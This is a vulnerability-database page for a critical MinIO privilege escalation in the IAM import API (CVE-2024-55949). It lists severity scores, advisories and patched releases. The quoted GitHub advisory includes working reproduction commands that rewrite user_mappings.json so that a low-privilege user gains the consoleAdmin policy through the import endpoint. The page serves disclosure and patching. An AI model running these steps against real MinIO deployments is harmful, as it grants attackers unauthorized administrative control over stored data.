CVE-2024-55949

criticalpriority · track · 0EPSS 0.006 · 49 %ileDEEURUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.61% (49th) EPSS
CVSS 9.1 · critical
Is it mine?
7 products
Check your exposure
Who says so?
5 sources
cnnvd · enisa_euvd · fstec_bdu · osv

EPSS · scored 2026-10-25

MinIO is a high-performance, S3 compatible object store, open sourced under GNU AGPLv3 license. Minio is subject to a privilege escalation in IAM import API, all users are impacted since MinIO commit `580d9db85e04f1b63cc2909af50f0ed08afa965f`. This issue has been addressed in commit `f246c9053f9603e610d98439799bdd2a6b293427` which is included in RELEASE.2024-12-13T22-19-12Z. There are no workarounds possible, all users are advised to upgrade immediately.

01

cvss

Technical severity, 0–10. One row per scoring source.

9.3
010

base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8–9.3

v3.19.1criticalAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:Nsecondary · FSTEC (BDU) RU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:Nsecondary · ENISA EU
v4.09.3criticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · security-advisories@github.com
v4.08highCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:U/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Xsecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: none · Automatable: no · Technical Impact: totalcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

CWE-269USCWE-269USCWE-269US
04

affected products (7)

Products and version ranges known to be affected.

05

advisories (3)

Vendor and ecosystem advisories describing this.

  • WID-SEC-W-2024-3706MinIO: Schwachstelle ermöglicht PrivilegieneskalationDeutsch2024-12-16csaf · cert_bundDE

    Ein entfernter, authentisierter Angreifer kann eine Schwachstelle in MinIO ausnutzen, um seine Privilegien zu erhöhen.

  • GHSA-cwq8-g58r-32hgMinIO vulnerable to privilege escalation in IAM import API2024-12-16ghsa · osvUS

    ### Impact Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f ### Patches ``` commit f246c9053f9603e610d98439799bdd2a6b293427 Author: Aditya Manthramurthy <donatello@users.noreply.github.com> Date: Wed Dec 11 18:09:40 2024 -0800 fix: Privilege escalation in IAM import API (#20756) This API had missing permissions checking, allowing a user to change their policy mapping by: 1. Craft iam-info.zip file: Update own user permission in user_mappings.json 2. Upload it via `mc admin cluster iam import nobody iam-info.zip` Here `nobody` can be a user with pretty much any kind of permission (but not anonymous) and this ends up working. Some more detailed steps - start from a fresh setup: ``` ./minio server /tmp/d{1...4} & mc alias set myminio http://localhost:9000 minioadmin minioadmin mc admin user add myminio nobody nobody123 mc admin policy attach myminio readwrite nobody nobody123 mc alias set nobody http://localhost:9000 nobody nobody123 mc admin cluster iam export myminio mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x cd /tmp/x unzip myminio-iam-info.zip echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \ iam-assets/user_mappings.json zip -r myminio-iam-info-updated.zip iam-assets/ mc admin cluster iam import nobody ./myminio-iam-info-updated.zip mc admin service restart nobody ``` ``` ### Workarounds There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer. Behind a load balancer / firewall such as `nginx` . ``` location /minio/admin/v2/import-iam { ... } ``` ``` location /minio/admin/v3/import-iam-v2 { ... ``` Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded. ### References Refer https://github.com/minio/minio/pull/20756 for more information ### Binary Releases #### AiStor Containers ``` quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips ``` #### AiStor Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `linux/arm64` - https://dl.min.io/aistor/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T13-42-41Z ##### Architecture: `windows/amd64` - https://dl.min.io/aistor/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z ### Community Containers ``` quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips ``` ### Community Binaries ##### Architecture: `linux/amd64` - https://dl.min.io/server/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `linux/arm64` - https://dl.min.io/server/minio/release/linux-arm64/archive/minio.RELEASE.2024-12-13T22-19-12Z ##### Architecture: `windows/amd64` - https://dl.min.io/server/minio/release/windows-amd64/archive/minio.RELEASE.2024-12-13T22-19-12Z ### Credits Credit goes to [National Security Agency](https://www.nsa.gov/) for reporting this issue.

  • GO-2024-3336MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio2024-12-18vendor · osvUS

    MinIO vulnerable to privilege escalation in IAM import API in github.com/minio/minio

06

also known as (7)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

cnnvdenisa_euvdfstec_bduosvcert_bundNVDCVE.orgMITRE
published 2024-12-16modified 2026-06-17
08

references (14)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan